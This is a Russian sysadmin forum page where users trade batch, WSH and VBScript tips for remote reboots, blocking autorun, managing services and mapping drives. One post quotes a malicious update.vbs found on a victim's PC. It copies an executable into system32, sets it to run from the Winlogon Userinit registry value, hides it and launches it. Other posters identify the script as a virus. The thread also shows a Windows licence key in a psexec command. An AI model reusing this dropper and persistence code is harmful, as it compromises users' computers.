Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » В помощь системному администратору » Автоматизация администрирования. Часть 2

Модерирует : lynx, Crash_Master, dg, emx, ShriEkeR

ShriEkeR (23-05-2011 23:06): Автоматизация администрирования. Часть 3  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114

   

FreemanRU



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
 

                               Коллеги-администраторы  ....  


Часть 2я

Часть 1
Думаю каждый из вас сталкивался с необходимостью выполнять некие несложные рутинные операции, на котороые уходит много драгоценного времени.
 Например, создать определенную структуру каталогов для каждого пользователя домена, изменить некие параметры в профилях всех или части пользователей, изменить полномочия/владельца однотипных файлов в разных каталогах т.д.  
Я, как сисадмин, тоже не раз был вынужден делать все это.  Руками делать это тоскливо и муторно, как вы понимаете. Должен заметить, что по неким "религиозным" убеждениям я всегда старался избегать любых отношений с бейсиком и его производными. Еще мой отец учил меня не иметь с ним никаких дел. Буквально. А теперь я учу своего сына тому же. Но, тем не менее, полностью избежать этого, по всей видимости, невозможно, тем более, что бейсик от M$ сейчас уже далеко не та "лапша", которой он был изначально, а современный структурированный язык, нашедший множество применений. Похоже, что для меня в очередной раз настала пора выучить еще что-то. Знаете, как курильщик много раз безуспешно пытается бросить курить, так и я не раз пытался подступиться к изучению VBScript, но пока никак не одолел. Лень, знаете ли. А инструмент в делах административных был бы весьма пользительный, должен заметить, для быстрого написания всякого рода скриптов.

 
    Внимание   !  !  !  

  • Поскольку данный топ весьма не мал, не забывайте  использовать "версию для печати" для более удобного поиска по теме. А также МЕГА ПОИСКОВИК от NEPa

  • Дабы не раздувать топ,  примеры своих  скриптов  заключаем в тег  "more"

Консольные команды. Командный интерпретатор

Windows Script Host (WSH) &  VBScript  &  JScript


Вышеперечисленные буки можно  взять здесь

    ТOOLS :
  1. Autoit+readme.rus
  2. Scriptologic
  3. AutoMate
  4. KIXTART
  5. nnCron-Планировщик с поддержкой скриптового языка --  РЕКОМЕНДУЮ
  6. WGET, GREP, GETMAIL, BLAT for Windows замечательные консольные утилиты
  7. 4dos/4nt -- отличная замена стандартного коммандного интерпретатора  
  8. JudoScript - java подобный скриптовый язык с исходниками
  9. VBS2EXE - утилита для компиляции vbs и js скриптов в exe выдранная из пакета PrimalScript

    Дружественные темы :
  1. Автоматическая (unattended) установка Windows
  2. Интересные команды при работе с Linux
  3. Отличный сайт по скриптингу, и не только
  4. Использование KIX
  5. Использование WMI
  6. Программирование "удобняшек" на VBScript

 
Подробнее...
Создается по материалам данного топа

 
Надеюсь данная тема будет полезна для Вас.
 Предложения по реформированию шапки принимаю в ПМ Jovanotti

 

Всего записей: 3794 | Зарегистр. 16-07-2004 | Отправлено: 17:27 11-12-2006 | Исправлено: Smitis, 12:30 20-08-2008
stalker1980



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Доброго времени суток!! У меня вопрос такого характера, нужно ребутнуть машины по сети, машин в сети около 80-90, но есть машины которые не нужно ребутить их всего штук 5. Есть ли какой нибудь способ перестартовать все машины за исключением этих 5-ти?
 
Заранее благодарен!

Всего записей: 16 | Зарегистр. 28-03-2006 | Отправлено: 16:02 12-11-2008
Liveofan

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
NIKZZZZ
Да плин я на bat(cmd), на reg написал, мне просто интересно почему на wsh не работает (
Но все равно спасибо...
К тому же то что ты предложил я уже написал )
 

Код:
WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun", "255", "REG_DWORD"

 
Так в реестре я все отключил, меня интересует именно удаление ключа самого MountPoints2, почему он не хочет удаляться (
 
Добавлено:
stalker1980
скачай пакет pstools
http://technet.microsoft.com/ru-ru/sysinternals/bb896649.aspx
в этом комплекте есть утилитка  
PsShutdown — позволяет выключить и при необходимости перезагрузить компьютер;

Всего записей: 118 | Зарегистр. 03-08-2007 | Отправлено: 16:27 12-11-2008
adSka



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
как на WSH проверить доступность папки на запись?  

вопщем разобрался как сделать побыстрее...
theExecObject = theShellObject.exec ("cmd.exe /c mkdir testdir\tmptestdir");
if (theExecObject.StdErr.ReadAll() != ""){
//!!! net 3anucu!!!
}

Всего записей: 130 | Зарегистр. 13-11-2006 | Отправлено: 19:31 12-11-2008
NIKZZZZ



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Liveofan

Цитата:
меня интересует именно удаление ключа самого MountPoints2, почему он не хочет удаляться

Возможно, проблема с правами доступа к объектам. Для этого есть небольшая утилита SetACL, не раз выручала при удалении "неудаляемых" ключей реестра.
 

Всего записей: 5365 | Зарегистр. 08-02-2006 | Отправлено: 19:40 12-11-2008
Liveofan

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
вот решение проблемы
 

Код:
'Через ключ MountPoints2 в реестре также существует возможность для системы обходить заданный запрет на автозапуск сьёмных носителей.(там могут уже быть заданы параметры по автозапуску для сьёмных устройств, которые система уже знает).  
Command = "REG DELETE ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"" /f"
Return = WshShell.Run(Command, 0, true)
 
Command = "REG DELETE ""HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"" /f"
Return = WshShell.Run(Command, 0, true)
 
Command = "REG DELETE ""HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"" /f"
Return = WshShell.Run(Command, 0, true)
 
Command = "REG DELETE ""HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"" /f"
Return = WshShell.Run(Command, 0, true)
 
Command = "REG DELETE ""HKU\S-1-5-21-2170445449-3629066266-18666223-4272\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"" /f"
Return = WshShell.Run(Command, 0, true)

 
Т.к. просто батник нам позволяет удалять из этой ветки реестра, мы его и применим.
Всем спасибо, кто откликнулся )

Всего записей: 118 | Зарегистр. 03-08-2007 | Отправлено: 08:46 13-11-2008
demon1981



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
stalker1980
кстати psexec  и прочие принимают текстовик со списком хостов

Всего записей: 189 | Зарегистр. 28-03-2007 | Отправлено: 11:25 13-11-2008
Ilyha58343

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите пожалуйста каким образом можно выполнить скрипт на удаленных машинах. Дело в том что стоит домен но в GP нет доступа, можно толко со своего компа. На всех компах я админ, а скрипт надо запустить что быудаленно сменить ключ продукта и тем самым лицензировать ПК. Дело в том что телнет по умолчанию отключен и как выполнить скрипт не могу додуматься  
 
Есть наподобие скрипт но тут минус нельзя указать какую службу запустить, и если стоит статус отключено то он не может сделать автоматически. код скрипта прилагаю
Код:
'*******************************************************************
' Имя: StartStoppedServices.vbs
' Язык: VBScript
' Описание: Запуск остановленных служб  
'*******************************************************************
Option Explicit
 
' Объявляем переменные
Dim strComputer       ' Имя компьютера
Dim strNamespace      ' Имя пространства имен
Dim objWMIService     ' Объект SWbemServices    
Dim colServices       ' Коллекция экземпляров класса WMI
Dim objService        ' Элемент коллекции
Dim strResult         ' Результирующая строка
Dim WshShell          ' Объект WshShell
Dim Res                
 
'********************** Начало *************************************
' Присваиваем начальные значения переменным
strComputer = "."
strNamespace = "Root\CIMV2"
 
' Подключаемся к пространству имен WMI
Set objWMIService = GetObject("WinMgmts:\\" & _
                                   strComputer & "\" & strNamespace)
' Формируем коллекцию остановленных служб  
Set colServices = objWMIService.ExecQuery("SELECT * FROM Win32_Service WHERE name = 'Alerter'")
 
' Создаем объект WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
 
' Запрос на запуск служб
Res = WshShell.Popup("Запустить все остановленные службы?",0, _
  "Работа со службами Windows",vbQuestion+vbYesNo)
If Res=vbYes Then
  ' Запускаем каждую остановленную службу          
  For Each objService In colServices
    objService.StartService()
  Next
  WScript.Echo "Все остановленные службы запущены"
End If  
'************************* Конец ***********************************

Всего записей: 306 | Зарегистр. 19-11-2005 | Отправлено: 11:54 13-11-2008
YNY

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Liveofan

На самом деле через процесс авторана вирус производит "первое" заражение, а затем он прописывается на обычные комманды открытия папки\диска и по этой причине ты, отключив обработку авторана, только "себя" обезопасишь от проникновения вира на комп, но не других если вир у тя уже живет ) - если конечно твой антивир вдруг подобный вирус пропустит!  
 
Добавлено:

Цитата:
Есть ли какой нибудь способ перестартовать все машины за исключением этих 5-ти?  
 
Заранее благодарен!

Ответ: конечно есть и этот способ - написать соответствующий скрипт ))))
 
Добавлено:

Цитата:
Ilyha58343

по поводу того как запустить ранее писано неск способов, а именно:
1) psexec  
2) копируй в шарную папку и запускай с каждого компа из под админа или от его имени  
Start-Stop Service(s)
 
Добавлено:
еще есть в реестре - сам не искал конкретные - ключи относящиеся к групповым политикам + "выполнить\mmc>Файл\Добавить остнаску>Добавить(Add)\Групповая политика" и там либо на вкл\выкл компа или вх\вых пользователя
 
Добавлено:

Цитата:
минус нельзя указать какую службу запустить

ну а тогда, в твоем примере что же я выделил жирным???  

Цитата:
Set colServices = objWMIService.ExecQuery("SELECT * FROM Win32_Service WHERE name = 'Alerter'")

 

Всего записей: 476 | Зарегистр. 18-05-2006 | Отправлено: 05:49 14-11-2008 | Исправлено: YNY, 07:47 14-11-2008
Ilyha58343

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
YNY За psexe большое спасибо! Прога рульная но вот вопрос по ней. пытаюсь psexec выполнить скрипт таким образом  
psexec.exe \\computername -u domen\user -p password cmd.exe /c \\server\key\lic\ChangeVLKey2600.vbs M8DDB-HDJW8-MG97W-XGX4J-7FYXG, скрипт проходит нормально, но в ответ консольпа стопорится и следующая команда не проходит. В чем трабла?

Всего записей: 306 | Зарегистр. 19-11-2005 | Отправлено: 11:13 14-11-2008
YNY

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Ilyha58343


Цитата:
консольпа стопорится и следующая команда не проходит

не совсем понял про консольпа, после смены ключа возмона надо перегружаться  
 
Добавлено:
http://www.osp.ru/w/2004/06/177161/

Всего записей: 476 | Зарегистр. 18-05-2006 | Отправлено: 09:22 17-11-2008
sergiologino



Newbie
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Гуру, подскажите - у меня следующая проблема:
На компе шефа сегодня весь день вылетает MsgBox (до 3 шт в мин):
 
C:\docum...\username\local..\temp\update.vbs
Ошибка: Разрешение отклонено
Строка 9 символ 1
Код: 800A0046
Ошибка выполнения Microsoft VBScript
 
Текст скрипта:
Set WSHShell = WScript.CreateObject("WScript.Shell")
windir = WSHShell.ExpandEnvironmentStrings("%windir%")
msgbox (windir)
temp = WSHShell.ExpandEnvironmentStrings("%temp%")
nfname = windir & "\system32\tm8259.exe"
sfname = temp & "\update.exe"
Set fso = createobject("scripting.filesystemobject")
Set file = fso.getfile(sfname)
file.copy nfname
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",windir & "\system32\userinit.exe," & nfname,"REG_SZ"
WSHShell.run("cmd /c attrib +s +h +r " & nfname), 0
WSHShell.run(sfname), 0
msgbox ("Updatings are already installed!")
 
Весь день копаюсь - не могу понять в чем проблема.  
Антивирусы не реагируют.
Установлена WinXP.  
Причем необязательно ставить приложения. Сама по себе выскакивает постоянно!
 
Права админские, на обе папки.
Файл update.exe в Temp наличествует.
Склоняюсь к тому что все-таки вирь какой-то.
При удалении появляется снова, все обновления поотключал

Всего записей: 28 | Зарегистр. 09-04-2007 | Отправлено: 15:00 17-11-2008 | Исправлено: sergiologino, 15:04 17-11-2008
YNY

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
sergiologino

скорей это хвосты от обновления какой нить нужной проги типа 1с или еще чего нить, но если надоедает, убей скрипт и ключ в реестре либо убей или поредактируй
 
Добавлено:
либо эт автоудалялка вредного обновления от микрософт  
 
Добавлено:
нормальный ключ в реестре выглядит так:
 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\WINDOWS\system32\userinit.exe," "REG_SZ"
***
Set file = fso.getfile(sfname)  
теперь в file хранится ссылка на update.exe
выражение file.copy nfname правильно будет выглядеть вот так: file.copy(nfname), -- тут происходит копирование update.exe в windir & "\system32 с переименованием в tm8259.exe и если такой файл tm8259.exe с атрибутами +s +h +r (сис, скрыт, читать) уже есть, то возмона скрипту они (эти разрешения) мешают скопировать и переименовать, либо дополнительно наложены какие-то разрешения.  
***
Скрипт не сможет запустить скрытый файл если в проводнике виндовс не будет поставленно отображение скрытых файлов
 
Добавлено:
замечания не касающесеся сути вопроса напрямую:
 
 
Добавлено:
Атрибуты можно устанавливать и без cmd

Всего записей: 476 | Зарегистр. 18-05-2006 | Отправлено: 07:05 18-11-2008 | Исправлено: YNY, 09:12 18-11-2008
PhoenixUA



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
YNY

Да вирус это.
Никакая нормальная программа не будет писаться в system32 под таким странным именем, да еще ставить атрибуты system и hidden. Плюс хитрый запуск из реестра.

Всего записей: 2184 | Зарегистр. 17-11-2005 | Отправлено: 12:24 18-11-2008
zzxx1488

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Updatings are already installed!
 
судя по инглишу это вирус.

Всего записей: 62 | Зарегистр. 04-10-2008 | Отправлено: 15:20 18-11-2008
YNY

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
PhoenixUA
если вирус

Всего записей: 476 | Зарегистр. 18-05-2006 | Отправлено: 05:58 19-11-2008
pav



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Антивирусы не реагируют.

Менять антивирус.
Сорри за

Всего записей: 1856 | Зарегистр. 27-01-2002 | Отправлено: 15:23 19-11-2008
YNY

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
можно ли при помощи WQL просмотреть HKEY_USERS

Всего записей: 476 | Зарегистр. 18-05-2006 | Отправлено: 07:54 03-12-2008
AcidSly



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
привет, подскажите как через batch-файл достать дату создания файла (формата yyyy-mm-dd)
спс

Всего записей: 401 | Зарегистр. 24-01-2003 | Отправлено: 12:54 03-12-2008
rkhodjaev



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
 А не подскажите,как сделать батник который будет добавлять ИП-адрес альтернативного ДНС сервера?Я знаю,что этот батник добавляет ИП для пред.ДНС сервера >
 netsh interface ip set dns "Подключение по локальной сети" static IP_address

Всего записей: 1002 | Зарегистр. 05-05-2006 | Отправлено: 15:02 03-12-2008 | Исправлено: rkhodjaev, 15:04 03-12-2008
AlexRus227

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
народ не подскажите как правильно написать батник для подкл диска для каждого юзера к своей папке ??  
 
@echo on
net use Y: /delete
Net use Y: \\Backup\$login$  ??  или как  
 
Добавлено:
$login$ = $username$ всем спасиб

Всего записей: 90 | Зарегистр. 07-12-2005 | Отправлено: 14:20 04-12-2008
   

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114

Компьютерный форум Ru.Board » Компьютеры » В помощь системному администратору » Автоматизация администрирования. Часть 2
ShriEkeR (23-05-2011 23:06): Автоматизация администрирования. Часть 3


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru